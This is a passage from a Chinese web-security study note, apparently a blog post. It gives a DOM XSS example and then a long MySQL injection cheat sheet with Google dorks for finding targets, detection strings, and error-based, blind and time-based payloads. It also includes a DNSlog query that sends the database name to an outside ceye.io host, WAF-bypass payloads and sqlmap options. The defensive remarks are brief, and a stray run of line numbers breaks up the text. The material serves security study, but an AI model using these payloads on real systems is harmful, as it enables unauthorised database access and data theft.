举例:

下面是一个物流详情的页面,在 URL 上有快递编号这个参数,通过这个参数来获取数据。

https://www.kkkk1000.com/xss/dom/index.html?serialNumber=YT40359134268305

img

因为在源码中可以看到,页面上显示的快递编号,是直接取的 URL 上的参数显示的。所以我们构造这样一个网址:

1
https://www.kkkk1000.com/xss/dom/index.html?serialNumber=alert("xss")

然后诱导他人点击这个链接,就可以完成一次 DOM 型 XSS 攻击。

img

4、XSS盲打

5、XSS过滤

6、xss之htmlspecialchars

xss加固

1、浏览器自XSS防御:比如谷歌和safari,当检测到有xss时,浏览器自动停止加载

2、转义字符。主要就是对输入所包含的特殊字符进行转义,如 <>&"',来防止 XSS 攻击。

3、过滤

4、白名单

附上

一、MySql注入常用函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
一、MySql注入常用函数

1system_user()系统用户名

2user()用户名

3current_user()当前用户名

4session_user()链接数据库的用户名

5、database()数据库名

6、version()数据库版本

7、@@datadir数据库路径

8、@@basedir数据库安装路径

9、@@version_conpile_os操作系统

10count()返回执行结果数量

11、concat()没有分隔符的链接字符串

12、concat_ws()含有分隔符的连接字符串

13、group_concat()连接一个组的所有字符串,并以逗号分隔每一条数据

14、load_file()读取本地文件

15into outfile 写文件

16、ascii()字符串的ASCII代码值

17ord()返回字符串第一个字符的ASCII值

18mid()返回一个字符串的一部分

19substr()返回一个字符串的一部分

20、length()返回字符串的长度

21left()返回字符串最左面几个字符

22floor()返回小于或等于x的最大整数

23、rand()返回01之间的一个随机数

24、extractvalue()

第一个参数:XML_docment是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string(Xpath格式的字符串)

作用:从目标XML中返回包含所查询值的字符串

25、updatexml()

第一个参数:XML_docment是String格式,为XML文档对象的名称,文中为Doc

第二个参数:Xpath_string(Xpath格式的字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据target.com

作用:改变文档中符合条件的节点的值

26、sleep()让此语句运行N秒钟

27、if() SELECT IF(1>2,2,3) ; -->3

28char()返回整数ASCII代码字符组成的字符串

29、strcmp()比较字符串内容

30、ifnull() 假如参数1不为NULL,则返回值为参数1,否则其返回值为参数2

31exp()返回e的x次方



二、目标搜集

1、无特定目标:inurl:.php?id=

2、有特定目标:inurl:php?id= site:

3、工具爬取:spider,对搜索引擎和目标网站的链接进行爬取



三、注入识别

1、手工简单识别:

'

and 1=1/and 1=2

and '1'='1/and '1'='2

and 1like 1/and 1like 2

2、工具识别:

sqlmap -m filename(filename中保存检测目标)

sqlmap --crawl(sqlmap对目标网站进行爬取,然后一次进行测试)

3、高级识别

扩展识别广度和深度:

SqlMap --level 增加测试级别,对header中相关参数也进行测试

sqlmap -r filename(filename中为网站请求数据)

利用工具识别提高效率

BurpSuite+Sqlmap

BurpSuite拦截所有浏览器访问提交的数据

BurpSuite扩展插件,直接调用SqlMap进行测试一些Tips

可以在参数后键入"*"来确定想要测试的参数

可能出现的点:新闻、登录、搜索、留言

站在开发的角度去寻找



四、报错注入方法

1、floor() :select count(*) from information_schema.tables group by concat((select

2、version()),floor(rand(0)*2));https://github.com/ADOOO/Dnslogsqlinj

3、group by会对rand()函数进行操作时产生错误

4、concat:连接字符串功能

5、floor:取float的整数值

6、rand:取0~1之间随机浮点值

7、group by:根据一个或多个列对结果集进行分组并有排序功能

8、extractvalue():extractvalue(1,concat(0x7e,(select user()),0x7e));

9、updatexml():select updatexml(1,concat(0x7e,(select user()),0x7e),1);



五、布尔盲注

1、left()函数

left(database(),1)>'s'

database()显示数据库名称,leȨ(a,b)从左侧截取a的前b位

2、regexp

select user() regexp'^r'

正则表达式的用法user()结果为root,regexp为匹配root的正则表达式

3、like

select user() like'^ro%'

与regexp类似,使用like进行匹配

4、substr()函数 ascii()函数

substr()函数 ascii(substr((select database()),1,1))<>98

substr(a,b,c)从b位置开始,截取字符串a的c长度,ascii()将某个字符转换为ascii值

5、ord()函数 mid()函数

ord(mid((select user()),1,1))=114

mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数同ascii(),将字符转为ascii值



六、时间盲注

if(left(user(),1)='a',0,sleep(3));



七、DNSlog注入

SELECT LOAD_FILE(CONCAT('\\\\',select database(),'.mysql.r4ourp.ceye.io\\abc'));



八、宽字节注入

1、在注入点后键入%df,然后按照正常的诸如流程开始注入

2、黑盒测试:

在可能的注入点后键入%df,之后进行注入测试

3、白盒测试:

查看MySql编码是否为GBK

是否使用preg_replace把单引号替换成\'

是否使用addslashes进行转义

是否使用mysql_real_escape_string进行转义

4、防止宽字节注入

使用utf-8,避免宽字节注入

ps:不仅在gbk,韩文、日文等等都是宽字节,都很有可能存在宽字节注入漏洞

mysql_real_escape_string,mysql_set_charset('gbk',$conn);

设置参数,character_set_client=binary



九、二次编码

1、在注入点后键入%2527,然后按照正常的注入流程开始注入

2、黑盒测试:

在可能的注入点后键入%2527,之后进行注入测试

3、白盒测试

是否使用urldecode函数

urldecode函数是否存在转义方法之后



十、二次注入

1、插入恶意数据

第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,再写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。

2、引用恶意数据

在将数据存入到数据库之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了而已数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。

3、二次注入防御:

对外部提交的数据,需要更加谨慎的对待。

程序内部的数据调用,也要严格的进行检查,一旦不小心,测试者就能将特定了SQL语句带入到查询当中。



十一、WAF绕过

熟练掌握MySQL函数和语法使用方法+深入了解中间件运行处理机制+了解WAF防护原理及方法=随心所欲的绕过WAF的保护

1、白盒绕过

使用了blacklist函数过滤了'or''AND'

大小写变形:Or,OR,oR

等价替换:and->&&,or->||

2、黑盒绕过

寻找源站->针对云WAF

利用同网段->绕过WAF防护区域

利用边界漏洞->绕过WAF防护区域

资源限制角度绕过WAF

POST大BODY

请求方式变换GET->POST

Content-Type变换:application/x-www-form-urlencoded;->multipart/form-data;

参数污染

SQL注释符绕过

Level-1:union/**/select

Level-2:union/*aaaa%01bbs*/select

Level-3:union/*aaaaaaaaaaaaaaaaaaaaaaa*/select

内联注释:/*!xxx*/

空白符绕过

MySQL空白符:%09,%0A,%0B,%0D,%20,%0C,%A0,/*XXX*/

正则的空白符:%09,%0A,%0B,%0D,%20

Example-1:union%250Cselect

Example-2:union%25A0select

concat%2520(

concat/**/(

concat%250c(http://127.0.0.1/Less/?id=1

concat%25a0(

浮点数词法解析

select * from users where id=8E0union select 1,2,3

select * from users where id=8.0union select 1,2,3

select * from users where id=\Nunion select 1,2,3

extractvalue(1.concat(0x5c,md5(3)));

updatexml(1,concat(0x5d,md5(3))),1);

GeometryCollection((select*from(select@@version)f)x))

polygon((select*from(select name_const(version(),1))x))

linestring()

multipoint()

multilinestring()

multipolygon()

MySQL特殊语法

select{x table_name}from{x information_schema.tables};

3、Fuzz绕过

注释符绕过

最基本的:union/**/select

中间引入特殊字:union/*aaa%0abbs*/select

最后测试注释长度:union/*aaaaaaaaaaaaaaa*/select

最基本的模式:union/*something*/select

a1%!%2f



十二、sqlmap的conf

sqlmap.py -v3(主函数入口)

--user-agent=websecurity(请求扩充)

--threads=5(访问优化)

-p id注入配置

--level 3(检测配置)

--technique=E(注入技术)

--current-user(信息获取)

--flush-session(通用设置)

参考:

https://jwt1399.top/posts/32179.html#toc-heading-17

https://www.cnblogs.com/xishaonian/p/6036909.html

https://segmentfault.com/a/1190000020402185?utm_source=sf-similar-article